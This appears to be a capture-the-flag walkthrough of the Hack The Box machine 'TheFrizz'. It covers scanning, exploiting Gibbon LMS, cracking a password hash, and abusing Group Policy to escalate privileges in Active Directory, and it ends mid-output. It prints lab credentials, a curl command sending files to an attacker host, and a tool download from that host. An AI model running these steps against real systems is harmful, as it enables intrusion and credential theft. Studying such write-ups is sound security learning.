TheFrizz
TheFrizz
Recon
Port Discovery
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 127
53/tcp open domain syn-ack ttl 127
88/tcp open kerberos-sec syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
389/tcp open ldap syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
464/tcp open kpasswd5 syn-ack ttl 127
593/tcp open http-rpc-epmap syn-ack ttl 127
636/tcp open ldapssl syn-ack ttl 127
3268/tcp open globalcatLDAP syn-ack ttl 127
3269/tcp open globalcatLDAPssl syn-ack ttl 127
9389/tcp open adws syn-ack ttl 127
49664/tcp open unknown syn-ack ttl 127
49667/tcp open unknown syn-ack ttl 127
49670/tcp open unknown syn-ack ttl 127
60431/tcp open unknown syn-ack ttl 127
60435/tcp open unknown syn-ack ttl 127
60445/tcp open unknown syn-ack ttl 127
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
sudo nmap -PN -sC -sV -p22,53,88,135,139,389,445,464,593,636,3268,3269,9389,49664,49667,49670,60431,60435,60445 -oN thefrizz 10.10.11.60
[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-01 14:16 PKT
Nmap scan report for 10.10.11.60
Host is up (0.20s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_9.5 (protocol 2.0)
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-08-01 15:52:42Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49670/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
60431/tcp open msrpc Microsoft Windows RPC
60435/tcp open msrpc Microsoft Windows RPC
60445/tcp open msrpc Microsoft Windows RPC
Service Info: Host: FRIZZDC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-08-01T15:53:36
|_ start_date: N/A
|_clock-skew: 6h36m08s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 104.48 seconds
Fix the clockskew with ntpdate.
Enumerating SMB
1
2
smbclient -L //10.10.11.60/ -N
session setup failed: NT_STATUS_NOT_SUPPORTED
Enumerating HTTP
It seems like NULL Authentication isn’t allowed. I noticed HTTP in the result let’s try adding it to /etc/hosts and navigate it.
We are redirected to:
http://frizzdc.frizz.htb/home/
Let’s add this subdomain to /etc/hosts/
The website has an interesting part:
1
2
3
4
5
6
7
8
9
10
11
V2FudCB0byBsZWFybiBoYWNraW5n
IGJ1dCBkb24ndCB3YW50IHRvIGdv
IHRvIGphaWw/IFlvdSdsbCBsZWFy
biB0aGUgaW4ncyBhbmQgb3V0cyBv
ZiBTeXNjYWxscyBhbmQgWFNTIGZy
b20gdGhlIHNhZmV0eSBvZiBpbnRl
cm5hdGlvbmFsIHdhdGVycyBhbmQg
aXJvbiBjbGFkIGNvbnRyYWN0cyBm
cm9tIHlvdXIgY3VzdG9tZXJzLCBy
ZXZpZXdlZCBieSBXYWxrZXJ2aWxs
ZSdzIGZpbmVzdCBhdHRvcm5leXMu
Foothold
There’s a Staff Login on top right, which redirects us to Gibbon LMS.
Gibbon version: Powered by Gibbon v25.0.00
Most of this CVE involved a path, this is how the website resolves those path:
/Gibbon-LMS/?q=/modules/Admissions/applicationFormSelect.php
- First CVE depends on this module:
/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php. - LFI works:
http://frizzdc.frizz.htb/Gibbon-LMS/?q=gibbon.sql
A POC exists for first CVE and it gets us reverse shell:
Enumeration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
PS C:\xampp\htdocs\Gibbon-LMS> dir
Directory: C:\xampp\htdocs\Gibbon-LMS
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 1/20/2023 6:04 AM i18n
d----- 1/20/2023 6:04 AM installer
d----- 1/20/2023 6:04 AM lib
d----- 1/20/2023 6:04 AM modules
d----- 1/20/2023 6:04 AM resources
d----- 1/20/2023 6:04 AM src
d----- 1/20/2023 6:04 AM themes
d----- 10/29/2024 7:28 AM uploads
d----- 1/20/2023 6:04 AM vendor
-a---- 1/20/2023 6:04 AM 634 .htaccess
-a---- 1/20/2023 6:04 AM 197078 CHANGEDB.php
-a---- 1/20/2023 6:04 AM 103023 CHANGELOG.txt
-a---- 1/20/2023 6:04 AM 2972 composer.json
-a---- 1/20/2023 6:04 AM 294353 composer.lock
-a---- 10/11/2024 8:15 PM 1307 config.php
-a---- 1/20/2023 6:04 AM 3733 error.php
-a---- 1/20/2023 6:04 AM 1608 export.php
-a---- 1/20/2023 6:04 AM 32988 favicon.ico
-a---- 1/20/2023 6:04 AM 2277 fullscreen.php
-a---- 1/20/2023 6:04 AM 57535 functions.php
-a---- 1/20/2023 6:04 AM 5610 gibbon.php
-a---- 10/29/2024 7:27 AM 493211 gibbon.sql
-a---- 1/20/2023 6:04 AM 1254473 gibbon_demo.sql
-a---- 1/20/2023 6:04 AM 31228 index.php
-a---- 1/20/2023 6:04 AM 2356 indexExport.php
-a---- 1/20/2023 6:04 AM 813 indexFindRedirect.php
-a---- 1/20/2023 6:04 AM 12327 index_fastFinder_ajax.php
-a---- 1/20/2023 6:04 AM 2579 index_notification_ajax.php
-a---- 1/20/2023 6:04 AM 2767 index_notification_ajax_alarm.php
-a---- 1/20/2023 6:04 AM 1690 index_notification_ajax_alarmConfirmProcess.php
-a---- 1/20/2023 6:04 AM 1647 index_notification_ajax_alarmProcess.php
-a---- 1/20/2023 6:04 AM 1245 index_notification_ajax_alarm_tickUpdate.php
-a---- 1/20/2023 6:04 AM 2142 index_parentPhotoDeleteProcess.php
-a---- 1/20/2023 6:04 AM 3549 index_parentPhotoUploadProcess.php
-a---- 1/20/2023 6:04 AM 2046 index_tt_ajax.php
-a---- 1/20/2023 6:04 AM 753 keepAlive.php
-a---- 1/20/2023 6:04 AM 35113 LICENSE
-a---- 1/20/2023 6:04 AM 7589 login.php
-a---- 1/20/2023 6:04 AM 1263 logout.php
-a---- 1/20/2023 6:04 AM 3905 notifications.php
-a---- 1/20/2023 6:04 AM 2110 notificationsActionProcess.php
-a---- 1/20/2023 6:04 AM 1163 notificationsDeleteAllProcess.php
-a---- 1/20/2023 6:04 AM 2275 notificationsDeleteProcess.php
-a---- 1/20/2023 6:04 AM 5007 passwordReset.php
-a---- 1/20/2023 6:04 AM 9819 passwordResetProcess.php
-a---- 1/20/2023 6:04 AM 9146 preferences.php
-a---- 1/20/2023 6:04 AM 5165 preferencesPasswordProcess.php
-a---- 1/20/2023 6:04 AM 4367 preferencesProcess.php
-a---- 1/20/2023 6:04 AM 923 privacyPolicy.php
-a---- 1/20/2023 6:04 AM 7184 publicRegistration.php
-a---- 1/20/2023 6:04 AM 1355 publicRegistrationCheck.php
-a---- 1/20/2023 6:04 AM 7825 publicRegistrationProcess.php
-a---- 1/20/2023 6:04 AM 2884 README.md
-a---- 1/20/2023 6:04 AM 3521 report.php
-a---- 1/20/2023 6:04 AM 54 robots.txt
-a---- 1/20/2023 6:04 AM 1883 roleSwitcherProcess.php
-a---- 1/20/2023 6:04 AM 2641 update.php
-a---- 1/20/2023 6:04 AM 1288 version.php
-a---- 1/20/2023 6:04 AM 4359 yearSwitcherProcess.php
PS C:\xampp\htdocs\Gibbon-LMS> type config.php
<?php
/*
Gibbon, Flexible & Open School System
Copyright (C) 2010, Ross Parker
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
/**
* Sets the database connection information.
* You can supply an optional $databasePort if your server requires one.
*/
$databaseServer = 'localhost';
$databaseUsername = 'MrGibbonsDB';
$databasePassword = 'MisterGibbs!Parrot!?1';
$databaseName = 'gibbon';
/**
* Sets a globally unique id, to allow multiple installs on a single server.
*/
$guid = '7y59n5xz-uym-ei9p-7mmq-83vifmtyey2';
/**
* Sets system-wide caching factor, used to balance performance and freshness.
* Value represents number of page loads between cache refresh.
* Must be positive integer. 1 means no caching.
*/
$caching = 10;
PS C:\xampp\htdocs\Gibbon-LMS>
We have database creds:
MrGibbonsDB:MisterGibbs!Parrot!?1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
Directory: C:\xampp
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 10/29/2024 7:25 AM apache
d----- 10/29/2024 7:26 AM cgi-bin
d----- 10/29/2024 7:25 AM contrib
d----- 10/29/2024 7:28 AM htdocs
d----- 10/29/2024 7:25 AM licenses
d----- 10/29/2024 7:25 AM mysql
d----- 10/29/2024 7:26 AM php
d----- 10/29/2024 7:25 AM src
d----- 8/1/2025 9:52 AM tmp
Let’s execute MySQL.
MySQL
1
2
3
4
5
/mysql.exe -u MrGibbonsDB -p"MisterGibbs!Parrot!?1" -e "USE gibbon; show tables;"
Tables_in_gibbon
gibbonaction
gibbonactivity
---SNIP---
From gibbon resources I discovered that creds are stored in “gibbonperson”
1
2
3
./mysql.exe -u MrGibbonsDB -p"MisterGibbs!Parrot!?1" -e "use gibbon; SELECT * FROM gibbonperson;"
gibbonPersonID title surname firstName preferredName officialName nameInCharacters gender username passwordStrong passwordStrongSalt passwordForceReset status canLogin gibbonRoleIDPrimary gibbonRoleIDAll dob email emailAlternate image_240 lastIPAddress lastTimestamp lastFailIPAddress lastFailTimestamp failCount address1 address1District address1Country address2 address2District address2Country phone1Type phone1CountryCode phone1 phone3Type phone3CountryCode phone3 phone2Type phone2CountryCode phone2 phone4Type phone4CountryCode phone4 website languageFirst languageSecond languageThird countryOfBirth birthCertificateScan ethnicity religion profession employer jobTitle emergency1Name emergency1Number1 emergency1Number2 emergency1Relationship emergency2Name emergency2Number1 emergency2Number2 emergency2Relationship gibbonHouseID studentID dateStart dateEnd gibbonSchoolYearIDClassOf lastSchool nextSchool departureReason transport transportNotes calendarFeedPersonal viewCalendarSchool viewCalendarPersonal viewCalendarSpaceBooking gibbonApplicationFormID lockerNumber vehicleRegistration personalBackground messengerLastRead privacy dayType gibbonThemeIDPersonal gibboni18nIDPersonal studentAgreements googleAPIRefreshToken microsoftAPIRefreshToken genericAPIRefreshToken receiveNotificationEmails mfaSecret mfaToken cookieConsent fields
0000000001 Ms. Frizzle Fiona Fiona Fiona Frizzle Unspecified f.frizzle 067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03 /aACFhikmNopqrRTVz2489 N Full Y 001 001 NULL f.frizzle@frizz.htb NULL NULL ::1 2024-10-29 09:28:59 NULL NULL 0 NULL NULL NULL NULL Y Y N NULL NULL NULL NULL NULL NULL NULL YNULL NULL NULL
We have creds:
1
2
3
f.frizzle
067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03
/aACFhikmNopqrRTVz2489
John
1
2
3
4
5
6
7
8
9
10
11
12
13
14
cat f.frizzle.hash
$dynamic_61$067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03$/aACFhikmNopqrRTVz2489
john f.frizzle.hash --wordlist=/usr/share/wordlists/rockyou.txt
Warning: detected hash type "hMailServer", but the string is also recognized as "dynamic_61"
Use the "--format=dynamic_61" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (hMailServer [sha256($s.$p) 128/128 SSE2 4x])
Warning: no OpenMP support for this hash type, consider --fork=3
Press 'q' or Ctrl-C to abort, almost any other key for status
Jenni_Luvs_Magic23 (?)
1g 0:00:00:01 DONE (2025-08-01 15:59) 0.5025g/s 5538Kp/s 5538Kc/s 5538KC/s Jer123..Jeepers93
Use the "--show --format=hMailServer" options to display all of the cracked passwords reliably
Session completed.
f.frizzle:Jenni_Luvs_Magic23
Evil-winrm
It seems like evil-winrm fails to establish a connection.
Make sure this is how /etc/hosts looks like:
10.10.11.60 frizzdc.frizz.htb frizzdc frizz.htb
winrm is firewalled so there’s no way of getting a connection with that. SSH port was open and it seems like that might be the intended path:
SSH
kinit first as f.frizzle
1
2
3
4
kinit
ssh f.frizzle@frizz.htb@frizzdc.frizz.htb
WinPEAS Results
This is the cleanup script that we found from winPEAS:
1
2
3
4
5
6
set-content -value "9a42de6c34b54adcb741abbb2700dd82" -path "c:\users\f.frizzle\desktop\user.txt"
$shell=new-object -com shell.application
$bin = $shell.namespace(0xa)
if((`$bin.items()|measure).count -lt 1){
$item = $shell.namespace(0).parsename("C:\users\f.frizzle\AppData\Local\Temp\MyMiles_Beta.zip")
$item.invokeverb("delete")
Since it’s deleted we will have to go to recycle bin. Next step should be the zip file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
PS C:\> cd 'C:\$RECYCLE.BIN\'
PS C:\$RECYCLE.BIN> dir
PS C:\$RECYCLE.BIN> dir -Force
Directory: C:\$RECYCLE.BIN
Mode LastWriteTime Length Name
---- ------------- ------ ----
d--hs 10/29/2024 7:31 AM S-1-5-21-2386970044-1145388522-2932701813-1103
PS C:\$RECYCLE.BIN> cd .\S-1-5-21-2386970044-1145388522-2932701813-1103\
PS C:\$RECYCLE.BIN\S-1-5-21-2386970044-1145388522-2932701813-1103> dir -Force
Directory: C:\$RECYCLE.BIN\S-1-5-21-2386970044-1145388522-2932701813-1103
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a--- 10/29/2024 7:31 AM 148 $IE2XMEG.7z
-a--- 10/24/2024 9:16 PM 30416987 $RE2XMEG.7z
-a-hs 10/29/2024 7:31 AM 129 desktop.ini
Zip Files
Exfil it:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
PS C:\$RECYCLE.BIN\S-1-5-21-2386970044-1145388522-2932701813-1103> curl -X POST -F "files=@`$IE2XMEG.7z" http://10.10.16.30:8000/upload
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
100 364 0 0 100 364 0 754 --:--:-- --:--:-- --:--:-- 753
PS C:\$RECYCLE.BIN\S-1-5-21-2386970044-1145388522-2932701813-1103> curl -X POST -F "files=@`$RE2XMEG.7z" http://10.10.16.30:8000/upload
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
0 29.0M 0 0 0 0 0 0 --:--:-- 0:00:01 --:--:-- 0
0 29.0M 0 0 0 192k 0 118k 0:04:10 0:00:01 0:04:09 118k
2 29.0M 0 0 2 832k 0 321k 0:01:32 0:00:02 0:01:30 321k
5 29.0M 0 0 5 1728k 0 481k 0:01:01 0:00:03 0:00:58 481k
13 29.0M 0 0 13 4032k 0 873k 0:00:34 0:00:04 0:00:30 873k
24 29.0M 0 0 24 7296k 0 1304k 0:00:22 0:00:05 0:00:17 1645k
34 29.0M 0 0 34 9.9M 0 1543k 0:00:19 0:00:06 0:00:13 2006k
45 29.0M 0 0 45 13.0M 0 1766k 0:00:16 0:00:07 0:00:09 2515k
54 29.0M 0 0 54 15.7M 0 1880k 0:00:15 0:00:08 0:00:07 2888k
63 29.0M 0 0 63 18.4M 0 1970k 0:00:15 0:00:09 0:00:06 2988k
72 29.0M 0 0 72 21.0M 0 2039k 0:00:14 0:00:10 0:00:04 2865k
81 29.0M 0 0 81 23.7M 0 2100k 0:00:14 0:00:11 0:00:03 2836k
91 29.0M 0 0 91 26.4M 0 2149k 0:00:13 0:00:12 0:00:01 2727k
100 29.0M 0 0 100 29.0M 0 2187k 0:00:13 0:00:13 --:--:-- 2714k
100 29.0M 0 0 100 29.0M 0 2130k 0:00:13 0:00:13 --:--:-- 2484k
Let’s extract the bigger zip:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
7z x \$RE2XMEG.7z
7-Zip 24.09 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-11-29
64-bit locale=en_US.UTF-8 Threads:3 OPEN_MAX:1024, ASM
Scanning the drive for archives:
1 file, 30416987 bytes (30 MiB)
Extracting archive: $RE2XMEG.7z
--
Path = $RE2XMEG.7z
Type = 7z
Physical Size = 30416987
Headers Size = 65880
Method = ARM64 LZMA2:26 LZMA:20 BCJ2
Solid = +
Blocks = 3
Everything is Ok
Folders: 684
Files: 5384
Size: 141187501
Compressed: 30416987
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
ls -la
total 45012
drwxrwxr-x 18 kali kali 4096 Oct 23 2024 .
drwxrwxr-x 5 kali kali 4096 Aug 1 23:21 ..
-rw-rw-r-- 1 kali kali 6147 Sep 11 2024 auth_module_ad.py
drwxrwxr-x 3 kali kali 4096 Oct 23 2024 cache
-rw-rw-r-- 1 kali kali 412462 Sep 11 2024 common.py
drwxrwxr-x 2 kali kali 4096 Oct 23 2024 conf
drwxrwxr-x 2 kali kali 4096 Oct 23 2024 conf.d
-rw-rw-r-- 1 kali kali 5730 Sep 11 2024 COPYING.txt
drwxrwxr-x 2 kali kali 4096 Oct 23 2024 db
drwxrwxr-x 2 kali kali 4096 Oct 23 2024 DLLs
-rw-rw-r-- 1 kali kali 11599 Sep 11 2024 keyfinder.py
drwxrwxr-x 2 kali kali 4096 Oct 23 2024 keys
drwxrwxr-x 2 kali kali 4096 Oct 23 2024 languages
drwxrwxr-x 3 kali kali 4096 Oct 23 2024 lib
-rw-rw-r-- 1 kali kali 7666 Sep 11 2024 licencing.py
drwxrwxr-x 2 kali kali 4096 Oct 23 2024 log
drwxrwxr-x 2 kali kali 4096 Oct 23 2024 private
drwxrwxr-x 2 kali kali 4096 Oct 23 2024 __pycache__
-rw-rw-r-- 1 kali kali 8 Sep 11 2024 revision.txt
drwxrwxr-x 3 kali kali 4096 Oct 23 2024 Scripts
-rw-rw-r-- 1 kali kali 36289 Sep 11 2024 setupdevhelpers.py
-rw-rw-r-- 1 kali kali 16771 Sep 11 2024 setuphelpers_linux.py
-rw-rw-r-- 1 kali kali 24517 Sep 11 2024 setuphelpers_macos.py
-rw-rw-r-- 1 kali kali 31722 Sep 11 2024 setuphelpers.py
-rw-rw-r-- 1 kali kali 14208 Sep 11 2024 setuphelpers_unix.py
-rw-rw-r-- 1 kali kali 165655 Sep 11 2024 setuphelpers_windows.py
drwxrwxr-x 3 kali kali 4096 Oct 23 2024 ssl
drwxrwxr-x 5 kali kali 4096 Oct 23 2024 templates
drwxrwxr-x 2 kali kali 4096 Oct 23 2024 trusted_external_certs
-rw-rw-r-- 1 kali kali 24097 Oct 23 2024 unins000.msg
-rw-rw-r-- 1 kali kali 20 Sep 11 2024 version-full
-rw-rw-r-- 1 kali kali 9057 Sep 11 2024 waptbinaries.sha256
-rw-rw-r-- 1 kali kali 1104 Sep 11 2024 waptconsole.exe.manifest
-rw-rw-r-- 1 kali kali 112338 Sep 11 2024 waptcrypto.py
-rw-rw-r-- 1 kali kali 4550 Sep 11 2024 wapt-enterprise.ico
-rw-rw-r-- 1 kali kali 5132160 Sep 11 2024 wapt-get.exe
-rw-rw-r-- 1 kali kali 1319 Sep 11 2024 wapt-get.exe.manifest
-rw-rw-r-- 1 kali kali 46 Oct 23 2024 wapt-get.ini
-rw-rw-r-- 1 kali kali 5746 Sep 11 2024 wapt-get.ini.tmpl
-rw-rw-r-- 1 kali kali 89811 Sep 11 2024 wapt-get.py
-rw-rw-r-- 1 kali kali 7293312 Sep 11 2024 waptguihelper.pyd
-rw-rw-r-- 1 kali kali 3580288 Sep 11 2024 waptlicences.pyd
-rw-rw-r-- 1 kali kali 6352256 Sep 11 2024 waptmessage.exe
-rw-rw-r-- 1 kali kali 196023 Sep 11 2024 waptpackage.py
-rw-rw-r-- 1 kali kali 3322 Sep 11 2024 wapt.psproj
-rw-rw-r-- 1 kali kali 106368 Sep 11 2024 waptpython.exe
-rw-rw-r-- 1 kali kali 104832 Sep 11 2024 waptpythonw.exe
-rw-rw-r-- 1 kali kali 5817 Sep 11 2024 wapt-scanpackages.py
-rw-rw-r-- 1 kali kali 8879488 Sep 11 2024 waptself.exe
-rw-rw-r-- 1 kali kali 1108864 Sep 11 2024 waptserver.exe
-rw-rw-r-- 1 kali kali 1108864 Sep 11 2024 waptservice.exe
-rw-rw-r-- 1 kali kali 8667 Sep 11 2024 wapt-signpackages.py
-rw-rw-r-- 1 kali kali 1048 Oct 23 2024 wapttftpserver
-rw-rw-r-- 1 kali kali 1850240 Sep 11 2024 wapttftpserver.exe
-rw-rw-r-- 1 kali kali 3551616 Sep 11 2024 wapttray.exe
-rw-rw-r-- 1 kali kali 117283 Sep 11 2024 waptutils.py
drwxrwxr-x 3 kali kali 4096 Oct 23 2024 waptwua
-rw-rw-r-- 1 kali kali 2453888 Sep 11 2024 wgetwads32.exe
-rw-rw-r-- 1 kali kali 3103616 Sep 11 2024 wgetwads64.exe
Config files are always juicy.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
┌──(kali㉿vm-kali)-[~/htb/thefrizz/wapt/conf]
└─$ ls -la
total 36
drwxrwxr-x 2 kali kali 4096 Oct 23 2024 .
drwxrwxr-x 18 kali kali 4096 Oct 23 2024 ..
-rw-rw-r-- 1 kali kali 1115 Oct 23 2024 ca-192.168.120.158.crt
-rw-rw-r-- 1 kali kali 1679 Oct 23 2024 ca-192.168.120.158.pem
-rw-rw-r-- 1 kali kali 649 Sep 11 2024 forward_ssl_auth.conf
-rw-rw-r-- 1 kali kali 420 Sep 11 2024 require_ssl_auth.conf
-rw-rw-r-- 1 kali kali 1250 Sep 11 2024 uwsgi_params
-rw-rw-r-- 1 kali kali 596 Oct 25 2024 waptserver.ini
-rw-rw-r-- 1 kali kali 187 Sep 11 2024 waptserver.ini.template
┌──(kali㉿vm-kali)-[~/htb/thefrizz/wapt/conf]
└─$ cat waptserver.ini
[options]
allow_unauthenticated_registration = True
wads_enable = True
login_on_wads = True
waptwua_enable = True
secret_key = ylPYfn9tTU9IDu9yssP2luKhjQijHKvtuxIzX9aWhPyYKtRO7tMSq5sEurdTwADJ
server_uuid = 646d0847-f8b8-41c3-95bc-51873ec9ae38
token_secret_key = 5jEKVoXmYLSpi5F7plGPB4zII5fpx0cYhGKX5QC0f7dkYpYmkeTXiFlhEJtZwuwD
wapt_password = IXN1QmNpZ0BNZWhUZWQhUgo=
clients_signing_key = C:\wapt\conf\ca-192.168.120.158.pem
clients_signing_certificate = C:\wapt\conf\ca-192.168.120.158.crt
[tftpserver]
root_dir = c:\wapt\waptserver\repository\wads\pxe
log_path = c:\wapt\log
What stood out was the field wapt_password since it was base64 encoded.
IXN1QmNpZ0BNZWhUZWQhUgo=
!suBcig@MehTed!R
I have a guess as to which user it would belong. Since WAPT is an open-source software deployment and configuration management tool, I would guess an Admin or someone in IT department would be managing it.
Let’s revisit winPEAS user enumeration:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
══════════╣ Display information about local users
Computer Name : FRIZZDC
User Name : Administrator
User Id : 500
Is Enabled : True
User Type : Administrator
Comment : Built-in account for administering the computer/domain
Last Logon : 8/1/2025 5:54:58 PM
Logons Count : 1899
Password Last Set : 2/25/2025 2:24:10 PM
=================================================================================================
Computer Name : FRIZZDC
User Name : Guest
User Id : 501
Is Enabled : False
User Type : Guest
Comment : Built-in account for guest access to the computer/domain
Last Logon : 1/1/1970 12:00:00 AM
Logons Count : 0
Password Last Set : 1/1/1970 12:00:00 AM
=================================================================================================
Computer Name : FRIZZDC
User Name : krbtgt
User Id : 502
Is Enabled : False
User Type : User
Comment : Key Distribution Center Service Account
Last Logon : 1/1/1970 12:00:00 AM
Logons Count : 0
Password Last Set : 10/29/2024 7:19:54 AM
=================================================================================================
Computer Name : FRIZZDC
User Name : f.frizzle
User Id : 1103
Is Enabled : True
User Type : User
Comment : Wizard in Training
Last Logon : 8/1/2025 7:34:48 PM
Logons Count : 1825
Password Last Set : 10/29/2024 7:27:03 AM
Computer Name : FRIZZDC
User Name : M.SchoolBus
User Id : 1106
Is Enabled : True
User Type : User
Comment : Desktop Administrator
Last Logon : 2/25/2025 2:02:08 PM
Logons Count : 852
Password Last Set : 10/29/2024 7:27:03 AM
Computer Name : FRIZZDC
User Name : v.frizzle
User Id : 1115
Is Enabled : True
User Type : Administrator
Comment : The Wizard
Last Logon : 8/1/2025 7:34:48 PM
Logons Count : 987
Password Last Set : 10/29/2024 7:27:04 AM
Computer Name : FRIZZDC
User Name : w.Webservice
User Id : 1120
Is Enabled : True
User Type : User
Comment : Service for the website
Last Logon : 8/1/2025 5:56:19 PM
Logons Count : 72
Password Last Set : 10/29/2024 7:27:04 AM
=================================================================================================
Test Creds
Most users are student that I snipped from above.
We have 2 users that we could try the creds on:
M.SchoolBusv.frizzle
M.SchoolBus:!suBcig@MehTed!R
Kinit as M.SchoolBus
1
2
3
4
5
6
7
8
9
10
11
kinit M.SchoolBus@FRIZZ.HTB
Password for M.SchoolBus@FRIZZ.HTB:
┌──(kali㉿vm-kali)-[~/htb/thefrizz]
└─$ klist
Ticket cache: FILE:/tmp/krb5cc_1000
Default principal: M.SchoolBus@FRIZZ.HTB
Valid starting Expires Service principal
08/02/2025 07:42:44 08/02/2025 17:42:44 krbtgt/FRIZZ.HTB@FRIZZ.HTB
renew until 08/03/2025 07:42:39
Privilege Escalation
We can SSH as M.SchoolBus
Bloodhound
Let’s analyze what attack vectors we have and get a better overview of the AD.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
bloodhound-python --dns-tcp --dns-timeout 30 -ns 10.10.11.60 -d frizz.htb -u 'M.SchoolBus' -p '!suBcig@MehTed!R' -c all
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: frizz.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: frizzdc.frizz.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: frizzdc.frizz.htb
INFO: Found 22 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 20 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: frizzdc.frizz.htb
INFO: Done in 00M 28S
sudo neo4j console
bloodhound
M.SchoolBus can WriteGPLink of:
- Domain Controllers
- Class_Frizz
The second contains v.frizzle which is a high interest target.
- Class_Frizz can
Affect GPO
If you can link a malicious GPO to an OU containing privileged systems, and you control the GPO, you can compromise everything in that OU potentially leading to full domain takeover.
First let’s create a GPO as M.SchoolBus and link it.
Creating a GPO and Linking it
1
2
3
4
5
6
7
8
PS C:\Users\M.SchoolBus> New-GPO -Name mal | New-GPLink -Target "OU=DOMAIN CONTROLLERS,DC=FRIZZ,DC=HTB" -LinkEnabled Yes
GpoId : bd2bdc67-19f3-49ad-be64-1846401e4ea7
DisplayName : mal
Enabled : True
Enforced : False
Target : OU=Domain Controllers,DC=frizz,DC=htb
Order : 2
Affecting GPO with the malicious GPO
We will use this:
GPO Abusehttps://github.com/byronkg/SharpGPOAbuse/tree/main/SharpGPOAbuse-master
To abuse the GPO and add our local account as admin.
Let’s transfer the exe:
1
2
3
4
PS C:\Users\M.SchoolBus> curl http://10.10.16.30/SharpGPOAbuse.exe -o gpo.exe
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 80896 100 80896 0 0 101k 0 --:--:-- --:--:-- --:--:-- 101k
1
2
3
4
5
6
7
8
9
10
11
.\gpo.exe --AddLocalAdmin --UserAccount M.SchoolBus --GPOName "mal"
[+] Domain = frizz.htb
[+] Domain Controller = frizzdc.frizz.htb
[+] Distinguished Name = CN=Policies,CN=System,DC=frizz,DC=htb
